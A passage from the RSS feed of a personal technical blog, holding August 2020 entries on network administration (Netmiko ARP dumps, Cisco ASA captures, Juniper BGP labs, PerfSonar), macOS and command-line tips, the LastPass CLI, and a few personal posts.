      <description>&lt;p&gt;By using a combination of Python, Netmiko, and TextFSM, I am able to dump the current ARP table on our Cisco routers to generate a variety of diagnostic and reporting tools.   The TextFSM module to Netmiko outputs the data in JSON format for easy reporting and manipulation.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example snippet using &lt;code&gt;pprint&lt;/code&gt; to display the results:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/bin/env python3&#xA;&#xA;from netmiko import Netmiko&#xA;from getpass import getpass&#xA;import pprint&#xA;&#xA;password = getpass()&#xA;&#xA;output = []&#xA;&#xA;net_connect = Netmiko(host=&amp;#34;192.168.0.1&amp;#34;, username=&amp;#34;jemurray&amp;#34;, password=password, device_type=&amp;#34;cisco_ios&amp;#34;)&#xA;&#xA;net_connect.find_prompt()&#xA;&#xA;output.append(net_connect.send_command(&amp;#34;show ip arp&amp;#34;, use_textfsm=True))&#xA;&#xA;for i in output:&#xA;    pp = pprint.PrettyPrinter(indent=4)&#xA;    pp.pprint(i)&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Retrieving hidden files in TimeMachine</title>
      <link>https://jasonmurray.org/posts/2020/timemachinehidden/</link>
      <pubDate>Sun, 23 Aug 2020 19:09:25 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/timemachinehidden/</guid>
      <description>&lt;p&gt;A &lt;a href=&#34;https://jasonmurray.org/posts/2020/macosbash/&#34;&gt;few nights&lt;/a&gt; ago a missing &lt;code&gt;&amp;gt;&lt;/code&gt; wiped out my .bash_profile file:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo &amp;#34;export BASH_SILENCE_DEPRECATION_WARNING=1&amp;#34; &amp;gt; .bash_profile&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This should be simple to recover from TimeMachine, except the Finder window does not display hidden (system) files.&lt;/p&gt;&#xA;&lt;p&gt;To retrieve a file like this, open a terminal window and navigate to the locally mounted TimeMachine folder in the &lt;code&gt;/Volumes&lt;/code&gt; directory:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ cd /Volumes/MurrayBackup/Backups.backupdb/mbp-2019/Latest/Macintosh\ HD\ -\ Data/Users/jemurray&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The files are there:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:/Volumes/MurrayBackup/Backups.backupdb/mbp-2019/Latest/Macintosh HD - Data/Users/jemurray $ ls -al .bash_profile&#xA;lrwxr-xr-x+ 1 jemurray  staff  32 May 23 16:05 .bash_profile -&amp;gt; Documents/dotfiles/.bash_profile&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Copy the file back:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Suppressing the bash warning in macOS 10.15</title>
      <link>https://jasonmurray.org/posts/2020/macosbash/</link>
      <pubDate>Sat, 22 Aug 2020 13:01:07 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/macosbash/</guid>
      <description>&lt;p&gt;After upgrading to macOS 10.15, this warning message is displayed when opening or creating a terminal shell:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ exec bash&#xA;&#xA;The default interactive shell is now zsh.&#xA;To update your account to use zsh, please run `chsh -s /bin/zsh`.&#xA;For more details, please visit https://support.apple.com/kb/HT208050.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Add the following environment variable to the &lt;code&gt;.bash_profile&lt;/code&gt; to permanently suppress the warning:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo &amp;#34;export BASH_SILENCE_DEPRECATION_WARNING=1&amp;#34; &amp;gt;&amp;gt; .bash_profile&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The warning is gone:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ exec bash&#xA;jemurray@mbp-2019:~ $&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Interacting with LastPass through the CLI</title>
      <link>https://jasonmurray.org/posts/2020/lastpasscli/</link>
      <pubDate>Fri, 21 Aug 2020 16:30:38 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/lastpasscli/</guid>
      <description>&lt;p&gt;Using &lt;a href=&#34;https://github.com/LastPass/lastpass-cli&#34;&gt;lastpass-cli&lt;/a&gt; enables password lookups without opening the &lt;a href=&#34;https://www.lastpass.com/&#34;&gt;LastPass&lt;/a&gt; desktop client.&lt;/p&gt;&#xA;&lt;p&gt;Login to the LastPass CLI:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ lpass login lpuser@example.com&#xA;Success: Logged in as lpuser@example.com.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Generate test data without a user name:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ lpass generate lpasstest 15&#xA;`+&amp;amp;x6%_YcuZbdua&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;View data:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ lpass show lpasstest&#xA;lpasstest [id: 5943780687328672071]&#xA;Password: `+&amp;amp;x6%_YcuZbdua&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Generate test data with a username:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ lpass generate --username=jemurray@zweck.net lpasstest2 15&#xA;+k]e?&amp;#34;F5+N3`I&amp;amp;L&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;View data:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ lpass show lpasstest2&#xA;lpasstest2 [id: 0]&#xA;Username: jemurray@zweck.net&#xA;Password: +k]e?&amp;#34;F5+N3`I&amp;amp;L&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Search for entries:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Data-plane packet captures on the Cisco ASA</title>
      <link>https://jasonmurray.org/posts/2020/asacapture/</link>
      <pubDate>Thu, 20 Aug 2020 09:54:27 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/asacapture/</guid>
      <description>&lt;p&gt;The &lt;code&gt;capture&lt;/code&gt; command is used to view data-plane traffic flowing through a Cisco ASA.  This command can be run safely during production hours with minimal performance impact to the ASA.&lt;/p&gt;&#xA;&lt;p&gt;In this example, a capture is started on the &lt;code&gt;outside&lt;/code&gt; and &lt;code&gt;inside&lt;/code&gt; interface to confirm the policy either allows or blocks the flow.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;capture DUOout circular-buffer interface outside match ip 192.168.200.1 255.255.255.255 192.168.100.1 255.255.255.255&#xA; &#xA;capture DUOin circular-buffer interface inside match ip 192.168.200.1 255.255.255.255 192.168.100.1 255.255.255.255&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Show the running captures:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using strings to peek into binaries</title>
      <link>https://jasonmurray.org/posts/2020/strings/</link>
      <pubDate>Wed, 19 Aug 2020 15:34:04 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/strings/</guid>
      <description>&lt;p&gt;Unlike text files, shell scripts, and other human readable file formats, looking into a binary file typically displays gibberish:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~/sec$ cat hacker&#xA;ELF&amp;gt;P@`9@8&#xA;          @@@@hhh   HH-==HP-=DDPtd   &amp;lt;&amp;lt;QtdRtd-==/lib64/ld-linux-x86-64.so.2GNUGNURNɇx&#xA;                                                                                     jǑ&amp;gt;Cem?&#xA;                                                                                             ![ j &amp;#34;libc.so.6system__cxa_finalize__libc_start_mainGLIBC_2.2.5_ITM_deregisterTMCloneTableH=f/DH=/H/H9tH&amp;gt;/Ht_regisH=y/H5r/H)HHH?HHtH/HfD=9/u/UH=.Ht?@H/Ht5/%/@%/h%/f1I^HHPTLzH&#xA;                                                         H=/-h/]{UHH@HEHfAWIAVIAUAATL%P,UH-P,SL)SHtLLDAHH9u[]A\A]A^A_8&amp;lt;LT1|,zRx&#xA;                                                                                                                                                          Rx&#xA;                                                                                                                                                           J&#xA;D                                                                                                                                                           ?;*3$&amp;#34;\eIAC&#xA;D≠]BEE E(H▮H8G@┘8A▮A(B BB▮&#xA;▮&#xA;&#xA;@P      ⎺⎻⎺⎺\⎺=6(@GCC: (Deb☃▒┼ 8↓3↓▮↑6) 8↓3↓▮⎻&#xA;P&#xA;&#xA;@P  @ ===?@ @0@&#xA;               !7▮@F=└▮≤=D!=== @&#xA;                                 └  @1▮@8Lk @x (@ ]8@─P→▮@5I▮@ &amp;#34;c⎼├⎽├┤°°↓cde⎼e±☃⎽├e⎼_├└_c┌⎺┼e⎽__d⎺_±┌⎺b▒┌_d├⎺⎼⎽_▒┤│c⎺└⎻┌e├ed↓7325__d⎺_±┌⎺b▒┌_d├⎺⎼⎽_▒┤│_°☃┼☃_▒⎼⎼▒≤_e┼├⎼≤°⎼▒└e_d┤└└≤__°⎼▒└e_d┤└└≤_☃┼☃├_▒⎼⎼▒≤_e┼├⎼≤▒▒c┐e⎼↓c__FRAME_END____☃┼☃├_▒⎼⎼▒≤_e┼d_DYNAMIC__☃┼☃├_▒⎼⎼▒≤_⎽├▒⎼├__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___┌☃bc_c⎽┤_°☃┼☃_ITM_de⎼e±☃⎽├e⎼TMC┌⎺┼eT▒b┌e_ed▒├▒⎽≤⎽├e└@@GLIBC_2↓2↓5__┌☃bc_⎽├▒⎼├_└▒☃┼@@GLIBC_2↓2↓5__d▒├▒_⎽├▒⎼├__±└⎺┼_⎽├▒⎼├____d⎽⎺_▒▒┼d┌e_IO_⎽├d☃┼_┤⎽ed__┌☃bc_c⎽┤_☃┼☃├__b⎽⎽_⎽├▒⎼├└▒☃┼__TMC_END___ITM_⎼e±☃⎽├e⎼TMC┌⎺┼eT▒b┌e__c│▒_°☃┼▒┌☃≥e@@GLIBC_2↓2↓5↓⎽≤└├▒b↓⎽├⎼├▒b↓⎽▒⎽├⎼├▒b↓☃┼├e⎼⎻↓┼⎺├e↓ABI↑├▒±↓┼⎺├e↓±┼┤↓b┤☃┌d↑☃d↓±┼┤↓▒▒⎽▒↓d≤┼⎽≤└↓d≤┼⎽├⎼↓±┼┤↓┴e⎼⎽☃⎺┼↓±┼┤↓┴e⎼⎽☃⎺┼_⎼↓⎼e┌▒↓d≤┼↓⎼e┌▒↓⎻┌├↓☃┼☃├↓⎻┌├↓±⎺├↓├e│├↓°☃┼☃↓⎼⎺d▒├▒↓e▒_°⎼▒└e_▒d⎼↓e▒_°⎼▒└e↓☃┼☃├_▒⎼⎼▒≤↓°☃┼☃_▒⎼⎼▒≤↓d≤┼▒└☃c↓±⎺├↓⎻┌├↓d▒├▒↓b⎽⎽↓c⎺└└e┼├$N⎺&#xA;                                                         ▮V^⎺\\┐⎺⎻⎻BP  PP@          &amp;lt;=?@ @0@0000P0-     P6V8&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By using the &lt;code&gt;strings&lt;/code&gt; command, information within the binary is displayed in a slightly &amp;ldquo;more&amp;rdquo; human readable format:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Reverse traceroute with PerfSonar</title>
      <link>https://jasonmurray.org/posts/2020/reversetraceroute/</link>
      <pubDate>Tue, 18 Aug 2020 10:19:48 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/reversetraceroute/</guid>
      <description>&lt;p&gt;What goes out must come in, this is true for two way communication on the Internet.   An outbound path may not always be the same for return traffic.  One way to validate asymmetric routing is to run a &lt;code&gt;traceroute&lt;/code&gt; from source to destination and then from destination to source.  This is made difficult because most people do not have access to a system at the destination to initiate the &lt;code&gt;traceroute&lt;/code&gt; from.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using PerfSonar, pscheduler, and iperf3 to test network throughput problems</title>
      <link>https://jasonmurray.org/posts/2020/iperfasymetricts/</link>
      <pubDate>Mon, 17 Aug 2020 14:24:22 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/iperfasymetricts/</guid>
      <description>&lt;p&gt;The PerfSonar project enables network engineers to perform a variety of troubleshooting tests.  While investigating a file transfer issue over Internet2, I was able to use &lt;code&gt;pscheduler&lt;/code&gt; on the PerfSonar servers to test both upload and download throughput.&lt;/p&gt;&#xA;&lt;p&gt;When a PerfSonar system is configured and online, it registers in the &lt;a href=&#34;http://stats.es.net/ServicesDirectory/&#34;&gt;Global PerfSonar Directory&lt;/a&gt;.  Most of these servers are publicly available for realtime troubleshooting.&lt;/p&gt;&#xA;&lt;p&gt;I was able to use the &lt;code&gt;pScheduler&lt;/code&gt; utility to execute an &lt;code&gt;iperf3&lt;/code&gt; throughput test on a es.net server.  The first run tested download speeds (no issue):&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to cut an arched top wood fence</title>
      <link>https://jasonmurray.org/posts/2020/fencetop/</link>
      <pubDate>Sun, 16 Aug 2020 18:03:08 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/fencetop/</guid>
      <description>&lt;p&gt;A tree recently fell on our arched cedar fence.  I purchased new planks that were a few feet too long in order to have enough extra wood to cut the matching arch.   To recreate the exact same radius, I used a piece of 1&amp;quot; PVC pipe bent from corner to corner of a single panel.  A perfect arch can be traced on the new boards.  Then cut with a standard circular saw.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Basic GNUPlot from the command line</title>
      <link>https://jasonmurray.org/posts/2020/basicgnuplot/</link>
      <pubDate>Sat, 15 Aug 2020 22:02:25 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/basicgnuplot/</guid>
      <description>&lt;p&gt;There are many tools to plot or graph data points.  The most common is the spreadsheet.   However, there are instances when I would like to quickly analyze a data set then throw away the results when finished.&lt;/p&gt;&#xA;&lt;p&gt;This is when I turn to &lt;a href=&#34;http://www.gnuplot.info/&#34;&gt;GNUPlot&lt;/a&gt; for quick ad-hoc graphing.&lt;/p&gt;&#xA;&lt;p&gt;Using the example data file:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ head -5 /tmp/numbers.txt&#xA;108313357.93795292&#x9;14172930.125840904&#x9;43170655.360387966&#xA;54050912.74846953&#x9;14506014.564626597&#x9;55748443.87279168&#xA;92580121.1791793&#x9;15119971.132562589&#x9;61882800.61125066&#xA;74304697.01068823&#x9;14867594.969533907&#x9;84107289.18697126&#xA;97675591.11219549&#x9;16117629.751601066&#x9;71385054.6928251&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Generate a basic graph with GNUPlot:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Merging individual files into a single multi-column file</title>
      <link>https://jasonmurray.org/posts/2020/mergecolumns/</link>
      <pubDate>Fri, 14 Aug 2020 11:57:08 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/mergecolumns/</guid>
      <description>&lt;p&gt;Given 3 files, each with a single row of numbers in them.  The &lt;code&gt;paste&lt;/code&gt; command merges the individual files into a single file 3 columns wide.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ paste numbers1.txt numbers2.txt numbers3.txt  | head -20&#xA;108313357.93795292&#x9;14172930.125840904&#x9;43170655.360387966&#xA;54050912.74846953&#x9;14506014.564626597&#x9;55748443.87279168&#xA;92580121.1791793&#x9;15119971.132562589&#x9;61882800.61125066&#xA;74304697.01068823&#x9;14867594.969533907&#x9;84107289.18697126&#xA;97675591.11219549&#x9;16117629.751601066&#x9;71385054.6928251&#xA;86011257.2664782&#x9;13621733.780232634&#x9;58875369.19617859&#xA;70208854.04822399&#x9;14476765.122738339&#x9;49017648.672903456&#xA;98498761.85664643&#x9;13548644.71466847&#x9;84460585.70163518&#xA;114523163.63160664&#x9;13301024.071081888&#x9;45727080.25826224&#xA;100148343.43130378&#x9;13763236.664631309&#x9;46228056.05601608&#xA;113698411.99684031&#x9;12846072.939264541&#x9;42291208.56781124&#xA;112592539.57796247&#x9;13906104.570869552&#x9;80342347.3308685&#xA;114112664.70018382&#x9;14190918.77568318&#x9;93019462.20382051&#xA;80549955.55995816&#x9;16230791.99518611&#x9;77638586.17507662&#xA;109921639.49155584&#x9;13949451.427885724&#x9;67175914.95221402&#xA;111974963.93801378&#x9;14294933.221747613&#x9;61346396.22176037&#xA;104882198.3061649&#x9;14647449.865609813&#x9;56437611.68179089&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Files 1, 2, and 3 look similar to this:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Thank you Teresa!</title>
      <link>https://jasonmurray.org/posts/2020/thankyou/</link>
      <pubDate>Thu, 13 Aug 2020 08:50:49 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/thankyou/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;Thank you to the Southwest Airline flight attendant for helping keep my wife a little bit safer as she travels.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;My wife is going through a round of chemotherapy to treat breast cancer.  Many chemo drugs cause hair loss, and my wife is no exception.  Like the many other people in this situation, she wears a cap to cover her head.  Even with the fancy head covering, it it still fairly obvious the scourge of cancer has taken hold.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to sort IP addresses from the command line</title>
      <link>https://jasonmurray.org/posts/2020/sortip/</link>
      <pubDate>Wed, 12 Aug 2020 11:59:49 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/sortip/</guid>
      <description>&lt;p&gt;By breaking a list of IPv4 addresses into individual octets, the unix &lt;code&gt;sort&lt;/code&gt; command will display the output in numerical order.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cat filewithipaddresses.txt | sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;-t .&lt;/code&gt; = Separator identifier used to split the IP address into individual components.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-k1,1n&lt;/code&gt; = Each section of the IP address is (n)umerically sorted by the (k)ey.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Given a text file with random IP address:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Even Apple listens</title>
      <link>https://jasonmurray.org/posts/2020/evenapplelistens/</link>
      <pubDate>Tue, 11 Aug 2020 13:39:41 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/evenapplelistens/</guid>
      <description>&lt;p&gt;A few days ago I wrote a &lt;a href=&#34;https://jasonmurray.org/posts/2020/appleprivatewifi/&#34;&gt;post&lt;/a&gt; about a change Apple was making in iOS14.  If implemented, it would cause the MAC address of network-connected devices to change every 24 hours.  This has the potential to wreak havoc on many complicated and expensive enterprise systems in use on large campus networks like ours.&lt;/p&gt;&#xA;&lt;p&gt;In response, the university community came together &lt;a href=&#34;https://listserv.educause.edu/scripts/wa.exe?A1=ind2007&amp;amp;L=WIRELESS-LAN#10&#34;&gt;in email&lt;/a&gt; to discuss the impact of this change.  Everyone was encouraged to reach out to Apple with their specific issues and let them know the impact this would bring about.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Generating and using SSH keys</title>
      <link>https://jasonmurray.org/posts/2020/sshkeygen/</link>
      <pubDate>Mon, 10 Aug 2020 09:05:07 -0400</pubDate>
      <guid>https://jasonmurray.org/posts/2020/sshkeygen/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;SSH keys, a public key cryptographic system, secures network communication and replaces plain text password authentication on remote systems.  SSH is widely used as the default service to connect to shell accounts, switches, routers, git repositories, serial consoles, etc.  Many of these systems require ssh keys to operate, creating the keys varies depending on the operating systems and the ssh software installed.  Directions for unix-based systems, including macOS, are detailed below.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Twelve-year-old geocache</title>
      <link>https://jasonmurray.org/posts/2020/geocaching/</link>
      <pubDate>Sun, 09 Aug 2020 15:43:39 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/geocaching/</guid>
      <description>&lt;p&gt;Geocaching has been around since 2000 when &lt;a href=&#34;https://www.gps.gov/systems/gps/modernization/sa/&#34;&gt;selective availability&lt;/a&gt; was disabled from public GPS signals.   &lt;a href=&#34;https://www.geocaching.com/p/default.aspx?guid=a2380665-f5e1-4020-9715-b3af85e324cc&#34;&gt;I have been playing&lt;/a&gt; on and off since January 05, 2001.  Most of the geocaches I placed over the years have been stolen, vandalized, flooded out, or fell apart.&lt;/p&gt;&#xA;&lt;p&gt;This past week &lt;a href=&#34;https://www.geocaching.com/geocache/GC19DJ3_a-deer-runs-though-it&#34;&gt;my last remaining cache&lt;/a&gt; was &lt;a href=&#34;https://www.geocaching.com/seek/log.aspx?LUID=e85a9970-0603-4021-b5d5-fb51fbc75942&#34;&gt;flagged as missing&lt;/a&gt;, well the container was at least.  The last entry is a picture of &lt;a href=&#34;https://s3.amazonaws.com/gs-geo-images/cbacaa68-6e56-4f94-8188-2ba87ecd0818.png&#34;&gt;2 ziplock baggies&lt;/a&gt; left on the ground.  This cache was placed 12 years ago in 2008.  Over 700 people have logged an entry, I could not let it die.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Commands I use on a regular basis: find and exec</title>
      <link>https://jasonmurray.org/posts/2020/find1day/</link>
      <pubDate>Sat, 08 Aug 2020 11:13:48 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/find1day/</guid>
      <description>&lt;p&gt;In this example, we are using &lt;code&gt;find&lt;/code&gt; to search for all files 24 hours old, outputting the contents, filtering the results through a Python program, and redirecting the final output to a text file.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;find . -type f -mtime -1 -exec cat {} \; | ~/findAllDynamicMacAddresses.py &amp;gt;  ~/dynamic-mac-address.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;find&lt;/code&gt; command is a multipurpose tool for locating files and directories.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;-type f&lt;/code&gt; - Only look for files (not directories)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;-mtime 1&lt;/code&gt; - Only return files that are 24 hours old or less.&lt;/p&gt;</description>
    </item>
    <item>
      <title>iOS 14 will randomize the MAC address every 24 hours</title>
      <link>https://jasonmurray.org/posts/2020/appleprivatewifi/</link>
      <pubDate>Fri, 07 Aug 2020 16:01:49 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/appleprivatewifi/</guid>
      <description>&lt;p&gt;Private Wi-Fi address is a new feature Apple is enabling by default starting with iOS14 (iPhone and iPad) and watchOS7 (Apple Watch).  This feature works by randomizing the MAC address of the device before it connects to the wireless network and every 24 hours thereafter.&lt;/p&gt;&#xA;&lt;p&gt;A MAC address is a unique address assigned to every device that connects to a wireless or wired network.  The address looks like this: f0:18:98:9b:b5:b2.  The first half (f0:18:98) is known as the organizational unique identifier (OUI).  This part is assigned to a manufacture such as Apple, Dell, or Intel.  The second half (9b:b5:b2) is assigned by the vendor.  The combination of these two parts makes each MAC address unique to each individual device.  No two MAC addresses overlap.  &lt;/p&gt;</description>
    </item>
    <item>
      <title>Regex to find MAC addresses with random bit set</title>
      <link>https://jasonmurray.org/posts/2020/finddynamicmac/</link>
      <pubDate>Thu, 06 Aug 2020 16:55:08 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/finddynamicmac/</guid>
      <description>&lt;p&gt;Apple has brought to light a new feature they are enabling in iOS14 called &lt;a href=&#34;https://support.apple.com/en-us/HT211227&#34;&gt;private wi-fi addressing&lt;/a&gt;.  Before a device connects to the network the MAC address will be randomized.  This feature has the potential to wreak havoc on many enterprise systems that have historically treated the MAC address as a unique identifier.  Captive portals, client reporting, mobile device managers, and a variety of wireless authentication systems are examples of systems that may rely on the uniqueness of the MAC address.   While I support what Apple is trying to do, changing the default behavior with little notice is not the best way to keep our infrastructure engineers happy.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Out-of-band routing table separation in GNS3 on the Juniper vMX</title>
      <link>https://jasonmurray.org/posts/2020/junipervmxmangament/</link>
      <pubDate>Wed, 05 Aug 2020 11:45:38 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/junipervmxmangament/</guid>
      <description>&lt;p&gt;While GNS3 offers console access to individual devices, I prefer direct SSH access from my home network. This way GNS3 does not need to be open and I don&amp;rsquo;t need to remember the console &lt;code&gt;telnet&lt;/code&gt; ports.&lt;/p&gt;&#xA;&lt;p&gt;However, mixing the out-of-band network and production (lab) networks may cause unexpected consequences such as routing conflicts or worse, peering a lab environment with a real production network.   To avoid these problems, it is best practice to isolate the global routing table from the out-of-band routing table through the use of VRFs or routing-instances.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Edit files on remote hosts with vsCode and SSH</title>
      <link>https://jasonmurray.org/posts/2020/vscoderemotessh/</link>
      <pubDate>Tue, 04 Aug 2020 15:52:08 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/vscoderemotessh/</guid>
      <description>&lt;p&gt;The &lt;a href=&#34;https://code.visualstudio.com/docs/remote/ssh&#34;&gt;Remote - SSH&lt;/a&gt; extension in Visual Studio Code allows us to edit files on a remote host over an encrypted SSH connection.&lt;/p&gt;&#xA;&lt;p&gt;To get started, install the Remote SSH extension:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vscinstallsshextension.png&#34; alt=&#34;vscode remote ssh&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click the green &lt;code&gt;&amp;gt;&amp;lt;&lt;/code&gt; block in the lower left corner and add a host to SSH into:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vscconnecttoremotehost.png&#34; alt=&#34;vscode remote ssh&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;vsCode will open the remote connection, copy the necessary software, and setup the session:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vscopeningremotessh.png&#34; alt=&#34;vscode remote ssh&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>BGP authentication requires MD5 hash in TCP header</title>
      <link>https://jasonmurray.org/posts/2020/md5junipervmx/</link>
      <pubDate>Mon, 03 Aug 2020 13:25:39 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/md5junipervmx/</guid>
      <description>&lt;p&gt;When BGP authentication is configured, a connecting client passes the MD5 hash in the TCP option header during the initial SYN packet.&lt;/p&gt;&#xA;&lt;p&gt;Using the following configuration, it is impossible to connect to TCP port 179 without the MD5 key in the header:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@eps-l29-LAB# show protocols bgp group TEST&#xA;type external;&#xA;neighbor 10.1.1.2 {&#xA;    authentication-key &amp;#34;$9$WAX8-woaUH.5GD/Cpu1I-Vb&amp;#34;; ## SECRET-DATA&#xA;    peer-as 174;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When a connection is made without the MD5 key, the remote device rejects the connection as if the port is not listening:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Simulating the full Internet routing table with ExaBGP in GNS3</title>
      <link>https://jasonmurray.org/posts/2020/exabgp-fulltable/</link>
      <pubDate>Sun, 02 Aug 2020 13:26:22 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/exabgp-fulltable/</guid>
      <description>&lt;p&gt;A combination of GNS3, a handful of &lt;a href=&#34;https://jasonmurray.org/posts/2020/vmxongns3/&#34;&gt;Juniper vMXs&lt;/a&gt;, and ExaBGP allows us to simulate the WashU edge and aggregation routers used in production.   In this post I will focus on how we use ExaBGP to simulate a real Internet routing table.&lt;/p&gt;&#xA;&lt;p&gt;Network topology for one of the edge routers in GNS3:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/edgejunipergns3.png&#34; alt=&#34;gns3 juniper edge&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The server running ExaBGP is an Ubuntu 18.04 Cloud Guest image from GNS3.  This system has 2 network interfaces.  The first one connects to the GNS3 cloud so it can bridge to a public network for updates and software packages.  The second interface connects to the Juniper on the internal lab network:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Return the base path or file name from a full path</title>
      <link>https://jasonmurray.org/posts/2020/basedirname/</link>
      <pubDate>Sat, 01 Aug 2020 14:50:57 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/basedirname/</guid>
